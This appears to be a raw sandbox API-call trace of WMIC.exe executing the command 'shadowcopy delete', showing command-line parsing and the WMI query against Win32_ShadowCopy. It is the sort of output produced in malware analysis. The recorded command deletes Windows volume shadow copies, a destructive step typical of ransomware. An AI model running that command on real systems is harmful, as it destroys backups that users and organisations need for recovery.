	[0254.543] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0254.543] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0254.543] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0254.543] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0254.543] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.543] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0254.544] malloc (_Size=0x30) returned 0x128500
	[0254.544] malloc (_Size=0x18) returned 0x1294e0
	[0254.544] free (_Block=0x1294e0) 
	[0254.544] malloc (_Size=0x18) returned 0x1294e0
	[0254.544] malloc (_Size=0x18) returned 0x129500
	[0254.544] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.544] SysStringLen (param_1="TABLE") returned 0x5
	[0254.544] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.545] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.545] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.545] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.545] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.545] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.545] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.545] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.545] malloc (_Size=0x30) returned 0x128540
	[0254.545] malloc (_Size=0x18) returned 0x129520
	[0254.545] free (_Block=0x129520) 
	[0254.546] malloc (_Size=0x18) returned 0x129520
	[0254.546] malloc (_Size=0x18) returned 0x129540
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] SysStringLen (param_1="TABLE") returned 0x5
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0254.546] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0254.546] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0254.546] malloc (_Size=0x30) returned 0x128580
	[0254.547] FreeThreadedDOMDocument:IUnknown:Release (This=0x22971d0) returned 0x0
	[0254.547] free (_Block=0x129040) 
	[0254.547] GetCommandLineW () returned="WMIC.exe  shadowcopy delete"
	[0254.547] malloc (_Size=0x40) returned 0x126d70
	[0254.547] memcpy_s (in: _Destination=0x126d70, _DestinationSize=0x3e, _Source=0x2525be, _SourceSize=0x36 | out: _Destination=0x126d70) returned 0x0
	[0254.547] malloc (_Size=0x18) returned 0x129040
	[0254.547] malloc (_Size=0x18) returned 0x129560
	[0254.547] malloc (_Size=0x18) returned 0x129580
	[0254.548] malloc (_Size=0x18) returned 0x1295a0
	[0254.548] malloc (_Size=0x80) returned 0x126e50
	[0254.548] GetLocalTime (in: lpSystemTime=0x1af790 | out: lpSystemTime=0x1af790*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x6, wDay=0x12, wHour=0x16, wMinute=0x7, wSecond=0x1e, wMilliseconds=0x20c)) 
	[0254.548] _vsnwprintf (in: _Buffer=0x126e50, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1af6e8 | out: _Buffer="01-18-2020T22:07:30") returned 19
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] malloc (_Size=0x28) returned 0x126dc0
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] malloc (_Size=0x28) returned 0x12ca40
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.548] malloc (_Size=0x16) returned 0x1295c0
	[0254.548] lstrlenW (lpString="shadowcopy") returned 10
	[0254.548] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81
	[0254.548] malloc (_Size=0x16) returned 0x1295e0
	[0254.548] malloc (_Size=0x8) returned 0x12ca70
	[0254.549] free (_Block=0x0) 
	[0254.549] free (_Block=0x1295c0) 
	[0254.549] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0254.549] malloc (_Size=0xe) returned 0x1295c0
	[0254.549] lstrlenW (lpString="delete") returned 6
	[0254.549] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66
	[0254.549] malloc (_Size=0xe) returned 0x129600
	[0254.549] malloc (_Size=0x10) returned 0x129620
	[0254.549] memmove_s (in: _Destination=0x129620, _DestinationSize=0x8, _Source=0x12ca70, _SourceSize=0x8 | out: _Destination=0x129620) returned 0x0
	[0254.549] free (_Block=0x12ca70) 
	[0254.549] free (_Block=0x0) 
	[0254.549] free (_Block=0x1295c0) 
	[0254.549] malloc (_Size=0x10) returned 0x1295c0
	[0254.549] lstrlenW (lpString="QUIT") returned 4
	[0254.549] lstrlenW (lpString="shadowcopy") returned 10
	[0254.549] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3
	[0254.549] lstrlenW (lpString="EXIT") returned 4
	[0254.549] lstrlenW (lpString="shadowcopy") returned 10
	[0254.549] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3
	[0254.549] free (_Block=0x1295c0) 
	[0254.550] WbemLocator:IUnknown:AddRef (This=0x1e01390) returned 0x2
	[0254.550] malloc (_Size=0x10) returned 0x1295c0
	[0254.550] lstrlenW (lpString="/") returned 1
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3
	[0254.550] lstrlenW (lpString="-") returned 1
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3
	[0254.550] lstrlenW (lpString="CLASS") returned 5
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3
	[0254.550] lstrlenW (lpString="PATH") returned 4
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3
	[0254.550] lstrlenW (lpString="CONTEXT") returned 7
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3
	[0254.550] lstrlenW (lpString="shadowcopy") returned 10
	[0254.550] malloc (_Size=0x16) returned 0x129640
	[0254.551] lstrlenW (lpString="shadowcopy") returned 10
	[0254.551] GetCurrentThreadId () returned 0x30d0
	[0254.551] ??0CHString@@QEAA@XZ () returned 0x1af5a0
	[0254.551] malloc (_Size=0x18) returned 0x129660
	[0254.551] malloc (_Size=0x18) returned 0x129680
	[0254.551] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e01390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff222998 | out: ppNamespace=0xff222998*=0x1e13a98) returned 0x0
	[0255.157] free (_Block=0x129680) 
	[0255.157] free (_Block=0x129660) 
	[0255.157] CoSetProxyBlanket (pProxy=0x1e13a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0255.157] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.158] GetCurrentThreadId () returned 0x30d0
	[0255.158] ??0CHString@@QEAA@XZ () returned 0x1af438
	[0255.158] malloc (_Size=0x18) returned 0x129660
	[0255.158] malloc (_Size=0x18) returned 0x129680
	[0255.158] malloc (_Size=0x18) returned 0x1296a0
	[0255.158] malloc (_Size=0x18) returned 0x1296c0
	[0255.158] SysStringLen (param_1="root\\cli") returned 0x8
	[0255.158] SysStringLen (param_1="\\") returned 0x1
	[0255.158] malloc (_Size=0x18) returned 0x1296e0
	[0255.158] SysStringLen (param_1="root\\cli\\") returned 0x9
	[0255.158] SysStringLen (param_1="ms_409") returned 0x6
	[0255.159] free (_Block=0x1296c0) 
	[0255.159] free (_Block=0x1296a0) 
	[0255.159] free (_Block=0x129680) 
	[0255.159] free (_Block=0x129660) 
	[0255.159] malloc (_Size=0x18) returned 0x129660
	[0255.159] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e01390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff2229a0 | out: ppNamespace=0xff2229a0*=0x1e13b28) returned 0x0
	[0255.716] free (_Block=0x129660) 
	[0255.716] free (_Block=0x1296e0) 
	[0255.716] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.716] GetCurrentThreadId () returned 0x30d0
	[0255.716] ??0CHString@@QEAA@XZ () returned 0x1af5b0
	[0255.716] malloc (_Size=0x18) returned 0x1296e0
	[0255.716] malloc (_Size=0x18) returned 0x129660
	[0255.717] malloc (_Size=0x18) returned 0x129680
	[0255.717] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28
	[0255.717] malloc (_Size=0x3a) returned 0x12ca70
	[0255.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff1b1980, cbMultiByte=-1, lpWideCharStr=0x12ca70, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29
	[0255.717] free (_Block=0x12ca70) 
	[0255.717] malloc (_Size=0x18) returned 0x1296a0
	[0255.717] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c
	[0255.717] SysStringLen (param_1="shadowcopy") returned 0xa
	[0255.717] malloc (_Size=0x18) returned 0x1296c0
	[0255.717] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26
	[0255.717] SysStringLen (param_1="'") returned 0x1
	[0255.717] free (_Block=0x1296a0) 
	[0255.718] free (_Block=0x129680) 
	[0255.718] free (_Block=0x129660) 
	[0255.718] free (_Block=0x1296e0) 
	[0255.718] IWbemServices:GetObject (in: This=0x1e13a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x1af5b8*=0x0, ppCallResult=0x0 | out: ppObject=0x1af5b8*=0x1e204e0, ppCallResult=0x0) returned 0x0
	[0255.732] malloc (_Size=0x18) returned 0x1296e0
	[0255.732] IWbemClassObject:Get (in: This=0x1e204e0, wszName="Target", lFlags=0, pVal=0x1af4e0*(varType=0x0, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1=0xff222998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af4e0*(varType=0x8, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.733] free (_Block=0x1296e0) 
	[0255.733] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.733] malloc (_Size=0x3e) returned 0x12ca70
	[0255.733] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0255.733] malloc (_Size=0x18) returned 0x1296e0
	[0255.733] IWbemClassObject:Get (in: This=0x1e204e0, wszName="PWhere", lFlags=0, pVal=0x1af4e0*(varType=0x0, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1=0x27e068, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af4e0*(varType=0x8, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.733] free (_Block=0x1296e0) 
	[0255.733] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0255.733] malloc (_Size=0x20) returned 0x12cac0
	[0255.733] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0255.733] malloc (_Size=0x18) returned 0x1296e0
	[0255.734] IWbemClassObject:Get (in: This=0x1e204e0, wszName="Connection", lFlags=0, pVal=0x1af4e0*(varType=0x0, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cd7f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af4e0*(varType=0xd, wReserved1=0xff22, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e209c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.734] free (_Block=0x1296e0) 
	[0255.734] IUnknown:QueryInterface (in: This=0x1e209c0, riid=0xff1b7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1af4d0 | out: ppvObject=0x1af4d0*=0x1e209c0) returned 0x0
	[0255.734] GetCurrentThreadId () returned 0x30d0
	[0255.734] ??0CHString@@QEAA@XZ () returned 0x1af3f8
	[0255.734] malloc (_Size=0x18) returned 0x1296e0
	[0255.734] IWbemClassObject:Get (in: This=0x1e209c0, wszName="Namespace", lFlags=0, pVal=0x1af420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff1c738f, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.734] free (_Block=0x1296e0) 
	[0255.734] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0255.734] malloc (_Size=0x16) returned 0x1296e0
	[0255.735] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0255.735] malloc (_Size=0x18) returned 0x129660
	[0255.735] IWbemClassObject:Get (in: This=0x1e209c0, wszName="Locale", lFlags=0, pVal=0x1af420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.735] free (_Block=0x129660) 
	[0255.735] lstrlenW (lpString="ms_409") returned 6
	[0255.735] malloc (_Size=0xe) returned 0x129660
	[0255.735] lstrlenW (lpString="ms_409") returned 6
	[0255.735] malloc (_Size=0x18) returned 0x129680
	[0255.735] IWbemClassObject:Get (in: This=0x1e209c0, wszName="User", lFlags=0, pVal=0x1af420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.736] free (_Block=0x129680) 
	[0255.736] malloc (_Size=0x18) returned 0x129680
	[0255.736] IWbemClassObject:Get (in: This=0x1e209c0, wszName="Password", lFlags=0, pVal=0x1af420*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.736] free (_Block=0x129680) 
	[0255.736] malloc (_Size=0x18) returned 0x129680
	[0255.736] IWbemClassObject:Get (in: This=0x1e209c0, wszName="Server", lFlags=0, pVal=0x1af420*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.736] free (_Block=0x129680) 
	[0255.736] lstrlenW (lpString=".") returned 1
	[0255.736] malloc (_Size=0x4) returned 0x12caf0
	[0255.736] lstrlenW (lpString=".") returned 1
	[0255.736] malloc (_Size=0x18) returned 0x129680
	[0255.737] IWbemClassObject:Get (in: This=0x1e209c0, wszName="Authority", lFlags=0, pVal=0x1af420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0x1296e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.737] free (_Block=0x129680) 
	[0255.737] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.737] IUnknown:Release (This=0x1e209c0) returned 0x1
	[0255.737] GetCurrentThreadId () returned 0x30d0
	[0255.737] ??0CHString@@QEAA@XZ () returned 0x1af3f8
	[0255.737] malloc (_Size=0x18) returned 0x129680
	[0255.737] IWbemClassObject:Get (in: This=0x1e204e0, wszName="__RELPATH", lFlags=0, pVal=0x1af420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fbf28, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x1af420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.738] free (_Block=0x129680) 
	[0255.738] malloc (_Size=0x18) returned 0x129680
	[0255.738] GetCurrentThreadId () returned 0x30d0
	[0255.738] ??0CHString@@QEAA@XZ () returned 0x1af278
	[0255.738] ??0CHString@@QEAA@PEBG@Z () returned 0x1af290
	[0255.738] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1af220
	[0255.738] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0255.738] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x12cb10
	[0255.739] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b
	[0255.739] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af1e0
	[0255.739] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af228
	[0255.739] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af290
	[0255.739] ??1CHString@@QEAA@XZ () returned 0x1151b01
	[0255.739] ??1CHString@@QEAA@XZ () returned 0x1151b01
	[0255.739] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af1e8
	[0255.739] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af220
	[0255.739] ??1CHString@@QEAA@XZ () returned 0x1
	[0255.739] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x12cb80
	[0255.739] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa
	[0255.740] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af1e0
	[0255.740] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af228
	[0255.740] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af290
	[0255.740] ??1CHString@@QEAA@XZ () returned 0x1151b01
	[0255.740] ??1CHString@@QEAA@XZ () returned 0x1151b01
	[0255.740] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af1e8
	[0255.740] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af220
	[0255.740] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.740] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef3374820
	[0255.740] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.740] malloc (_Size=0x18) returned 0x1296a0
	[0255.740] malloc (_Size=0x18) returned 0x129700
	[0255.740] malloc (_Size=0x18) returned 0x129720
	[0255.740] malloc (_Size=0x18) returned 0x129740
	[0255.740] malloc (_Size=0x18) returned 0x129760
	[0255.741] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c
	[0255.741] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17
	[0255.742] malloc (_Size=0x18) returned 0x129780
	[0255.742] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53
	[0255.742] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29
	[0255.742] malloc (_Size=0x18) returned 0x1297a0
	[0255.742] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c
	[0255.742] SysStringLen (param_1="\"") returned 0x1
	[0255.742] free (_Block=0x129780) 
	[0255.742] free (_Block=0x129760) 
	[0255.743] free (_Block=0x129740) 
	[0255.743] free (_Block=0x129720) 
	[0255.743] free (_Block=0x129700) 
	[0255.743] free (_Block=0x1296a0) 
	[0255.743] IWbemServices:GetObject (in: This=0x1e13b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1af268*=0x0, ppCallResult=0x0 | out: ppObject=0x1af268*=0x1e20a50, ppCallResult=0x0) returned 0x0
	[0255.745] malloc (_Size=0x18) returned 0x1296a0
	[0255.746] IWbemClassObject:Get (in: This=0x1e20a50, wszName="Text", lFlags=0, pVal=0x1af2a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff222ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x1af2a0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f6360*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x27de00, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0
	[0255.746] free (_Block=0x1296a0) 
	[0255.746] SafeArrayGetLBound (in: psa=0x2f6360, nDim=0x1, plLbound=0x1af280 | out: plLbound=0x1af280) returned 0x0
	[0255.746] SafeArrayGetUBound (in: psa=0x2f6360, nDim=0x1, plUbound=0x1af270 | out: plUbound=0x1af270) returned 0x0
	[0255.746] SafeArrayGetElement (in: psa=0x2f6360, rgIndices=0x1af264, pv=0x1af2b8 | out: pv=0x1af2b8) returned 0x0
	[0255.746] malloc (_Size=0x18) returned 0x1296a0
	[0255.746] malloc (_Size=0x18) returned 0x129700
	[0255.746] SysStringLen (param_1="Shadow copy management.") returned 0x17
	[0255.746] free (_Block=0x1296a0) 
	[0255.746] IUnknown:Release (This=0x1e20a50) returned 0x0
	[0255.747] free (_Block=0x1297a0) 
	[0255.747] ??1CHString@@QEAA@XZ () returned 0x1151b01
	[0255.747] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.747] free (_Block=0x129680) 
	[0255.747] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.747] lstrlenW (lpString="Shadow copy management.") returned 23
	[0255.747] malloc (_Size=0x30) returned 0x1285c0
	[0255.747] lstrlenW (lpString="Shadow copy management.") returned 23
	[0255.747] free (_Block=0x129700) 
	[0255.747] IUnknown:Release (This=0x1e204e0) returned 0x0
	[0255.747] free (_Block=0x1296c0) 
	[0255.747] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0255.748] lstrlenW (lpString="PATH") returned 4
	[0255.748] lstrlenW (lpString="delete") returned 6
	[0255.748] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1
	[0255.748] lstrlenW (lpString="WHERE") returned 5
	[0255.748] lstrlenW (lpString="delete") returned 6
	[0255.748] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1
	[0255.748] lstrlenW (lpString="(") returned 1
	[0255.748] lstrlenW (lpString="delete") returned 6
	[0255.748] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3
	[0255.748] lstrlenW (lpString="/") returned 1
	[0255.748] lstrlenW (lpString="delete") returned 6
	[0255.748] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0255.748] lstrlenW (lpString="-") returned 1
	[0255.748] lstrlenW (lpString="delete") returned 6
	[0255.748] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0255.748] malloc (_Size=0x18) returned 0x1296c0
	[0255.749] lstrlenW (lpString="GET") returned 3
	[0255.749] lstrlenW (lpString="delete") returned 6
	[0255.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0255.749] lstrlenW (lpString="LIST") returned 4
	[0255.749] lstrlenW (lpString="delete") returned 6
	[0255.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0255.749] lstrlenW (lpString="SET") returned 3
	[0255.749] lstrlenW (lpString="delete") returned 6
	[0255.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0255.749] lstrlenW (lpString="CREATE") returned 6
	[0255.749] lstrlenW (lpString="delete") returned 6
	[0255.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0255.749] lstrlenW (lpString="CALL") returned 4
	[0255.749] lstrlenW (lpString="delete") returned 6
	[0255.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0255.750] lstrlenW (lpString="ASSOC") returned 5
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.750] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0255.750] lstrlenW (lpString="DELETE") returned 6
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.750] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0255.750] free (_Block=0x1296c0) 
	[0255.750] lstrlenW (lpString="/") returned 1
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.750] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0255.750] lstrlenW (lpString="-") returned 1
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.750] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.750] malloc (_Size=0xe) returned 0x1296c0
	[0255.750] lstrlenW (lpString="delete") returned 6
	[0255.751] lstrlenW (lpString="GET") returned 3
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0255.751] lstrlenW (lpString="LIST") returned 4
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0255.751] lstrlenW (lpString="SET") returned 3
	[0255.751] lstrlenW (lpString="delete") returned 6
	[0255.751] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
